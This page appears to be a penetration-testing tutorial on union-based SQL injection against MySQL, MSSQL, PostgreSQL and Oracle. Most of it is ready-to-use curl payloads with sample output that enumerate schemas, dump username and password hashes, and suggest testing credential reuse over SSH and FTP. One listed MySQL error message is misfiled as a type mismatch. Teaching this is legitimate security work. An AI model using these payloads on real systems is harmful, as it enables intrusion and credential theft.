Skip to content

Union-Based SQL Injection Exploitation

7 min read Created Mar 28, 2026 Last updated Mar 28, 2026

Union-based SQL injection appends a UNION SELECT statement to the original query to retrieve data from other tables. It requires the query results to be reflected in the HTTP response and the injected SELECT to match the column count and data types of the original query. This is the fastest extraction method when it works. When output is not reflected, fall back to error-based or blind extraction. See the SQL injection hub for technique selection.

  • Column count determination uses ORDER BY increments until an error reveals the count.
  • Reflected column identification injects marker strings to find which columns appear in the response.
  • Metadata extraction pulls database version, user, schema names, tables, and columns from information_schema.
  • Credential dumping reads usernames and password hashes from the users table via group_concat.

Determine Column Count

The UNION SELECT must match the original query's column count exactly. Use ORDER BY to find the column count without needing to know it: increment until you get an error:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 ORDER BY 1--" | wc -c
4823
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 ORDER BY 4--" | grep -i 'error\|unknown column'
Unknown column '4' in 'order clause'

An error on ORDER BY 4 but not on ORDER BY 3 means the query has 3 columns. Now find which columns are reflected in the response by injecting null values:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,NULL,NULL--" | grep -iE 'null|error'
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT 'COLTEST1','COLTEST2','COLTEST3'--" | grep 'COLTEST'
Product: COLTEST2 | Description: COLTEST3

Columns 2 and 3 are reflected. Use these positions for data extraction. Set id=0 to make the original query return no rows so only UNION results appear.

Extract Database Metadata

With reflected columns identified, pull database version, current user, and database name:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,version(),user()--" | grep -oE 'COLTEST[0-9]|[0-9]+\.[0-9]+\.[0-9]+|@[a-z]+'
5.7.33-0ubuntu0
root@localhost
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,group_concat(schema_name),NULL FROM information_schema.schemata--" | grep -oE 'information_schema|[a-z_]+'
information_schema,webapp,mysql

Extract Tables and Columns

Enumerate the application database schema:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,group_concat(table_name),NULL FROM information_schema.tables WHERE table_schema='webapp'--"
users,products,orders,sessions
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,group_concat(column_name),NULL FROM information_schema.columns WHERE table_name='users'--"
id,username,password,email,role

Dump Credentials

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,group_concat(username,':',password SEPARATOR '
'),NULL FROM webapp.users--"
admin:5f4dcc3b5aa765d61d8327deb882cf99
editor:8d3533d75ae2c3966d7e0d4fcc69216b

MD5 hashes: crack with hashcat mode 0. Pass cracked credentials back into the login page and test for reuse across SSH, FTP, and other services on the target.

MSSQL UNION Injection

MSSQL uses -- for comments (no trailing space required, unlike MySQL). String concatenation uses + instead of CONCAT(). For aggregating multiple rows into one result, use string_agg() on SQL Server 2017+ or FOR XML PATH('') on older versions. MSSQL uses TOP instead of LIMIT and information_schema is available alongside the legacy sysobjects/syscolumns views.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,@@version,NULL--"
Microsoft SQL Server 2019 (RTM) - 15.0.2000.5
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,string_agg(name,','),NULL FROM master.dbo.sysdatabases--"
master,tempdb,model,msdb,webapp

On SQL Server versions before 2017 where string_agg() is not available, use FOR XML PATH to concatenate rows:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,(SELECT table_name+',' FROM information_schema.tables WHERE table_catalog='webapp' FOR XML PATH('')),NULL--"
users,sessions,orders,api_keys,
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,string_agg(column_name,','),NULL FROM information_schema.columns WHERE table_name='users'--"
id,username,password,email,role
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,username+':'+password,NULL FROM webapp.dbo.users--"
admin:5f4dcc3b5aa765d61d8327deb882cf99

MSSQL returns one row per request without string_agg() or FOR XML PATH. Use TOP 1 ... WHERE username NOT IN ('admin') to iterate through rows, or aggregate into a single field.

PostgreSQL UNION Injection

PostgreSQL uses -- for comments, || for string concatenation, and supports LIMIT/OFFSET like MySQL. Use string_agg() to concatenate multiple rows. Schema enumeration can use information_schema (standard) or pg_catalog system tables.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,version(),NULL--"
PostgreSQL 14.5 on x86_64-pc-linux-gnu
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,string_agg(datname,','),NULL FROM pg_database WHERE datistemplate=false--"
postgres,webapp
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,string_agg(tablename,','),NULL FROM pg_tables WHERE schemaname='public'--"
users,sessions,orders,api_keys
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,string_agg(column_name,','),NULL FROM information_schema.columns WHERE table_name='users'--"
id,username,password,email,role
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,string_agg(username||':'||password,E'\n'),NULL FROM users--"
admin:5f4dcc3b5aa765d61d8327deb882cf99
editor:8d3533d75ae2c3966d7e0d4fcc69216b

Oracle UNION Injection

Oracle requires every SELECT to include a FROM clause. Use FROM dual for scalar values. String concatenation uses ||. Oracle has no LIMIT clause. Use WHERE ROWNUM <= N to restrict rows (Oracle 11g and earlier) or FETCH FIRST N ROWS ONLY on 12c+. Aggregate multiple rows with LISTAGG(). Schema enumeration uses all_tables and all_tab_columns instead of information_schema.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,(SELECT banner FROM v\$version WHERE ROWNUM=1),NULL FROM dual--"
Oracle Database 19c Enterprise Edition Release 19.0.0.0.0
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,(SELECT LISTAGG(table_name,',') WITHIN GROUP (ORDER BY table_name) FROM all_tables WHERE owner='WEBAPP'),NULL FROM dual--"
API_KEYS,ORDERS,SESSIONS,USERS
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,(SELECT LISTAGG(column_name,',') WITHIN GROUP (ORDER BY column_name) FROM all_tab_columns WHERE table_name='USERS'),NULL FROM dual--"
EMAIL,ID,PASSWORD,ROLE,USERNAME
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,(SELECT LISTAGG(username||':'||password,CHR(10)) WITHIN GROUP (ORDER BY username) FROM WEBAPP.USERS),NULL FROM dual--"
admin:5f4dcc3b5aa765d61d8327deb882cf99
editor:8d3533d75ae2c3966d7e0d4fcc69216b

Oracle table and column names are uppercase by default. If queries return nothing, try uppercase object names. LISTAGG() has a 4000-byte limit on the result. For tables with many columns, use multiple queries or filter with WHERE column_name LIKE '%PASS%'.

Data Type Mismatch Troubleshooting

When UNION SELECT fails with a type mismatch error, the injected columns have incompatible data types with the original query. Common error messages:

  • MySQL: The used SELECT statements have a different number of columns
  • MSSQL: Conversion failed when converting the varchar value to data type int
  • PostgreSQL: UNION types text and integer cannot be matched
  • Oracle: ORA-01790: expression must have same datatype as corresponding expression

Start by using NULL in all UNION positions. NULL is compatible with any type across all databases. Then replace one NULL at a time with a test string to find which columns accept text. For integer-only columns, use CAST() or CONVERT() to match the expected type:

-- When column 1 expects an integer
UNION SELECT 1,'test_string',NULL--

-- MSSQL: explicit cast
UNION SELECT NULL,CONVERT(varchar,@@version),NULL--

-- PostgreSQL: explicit cast
UNION SELECT NULL,version()::text,NULL--

-- Oracle: explicit cast
UNION SELECT NULL,CAST(banner AS VARCHAR2(200)),NULL FROM v$version WHERE ROWNUM=1--

If all columns are integer types and no string column is available, extract data numerically using ASCII values. Convert each character to its ASCII code and read the output as numbers. This is slower but bypasses strict type enforcement.

Comment Syntax by Database

Comment style varies by database. Use the correct terminator for the target:

Database

Comment

MySQL

-- (space after) or #

MSSQL

--

Oracle

--

PostgreSQL

--

SQLite

--

References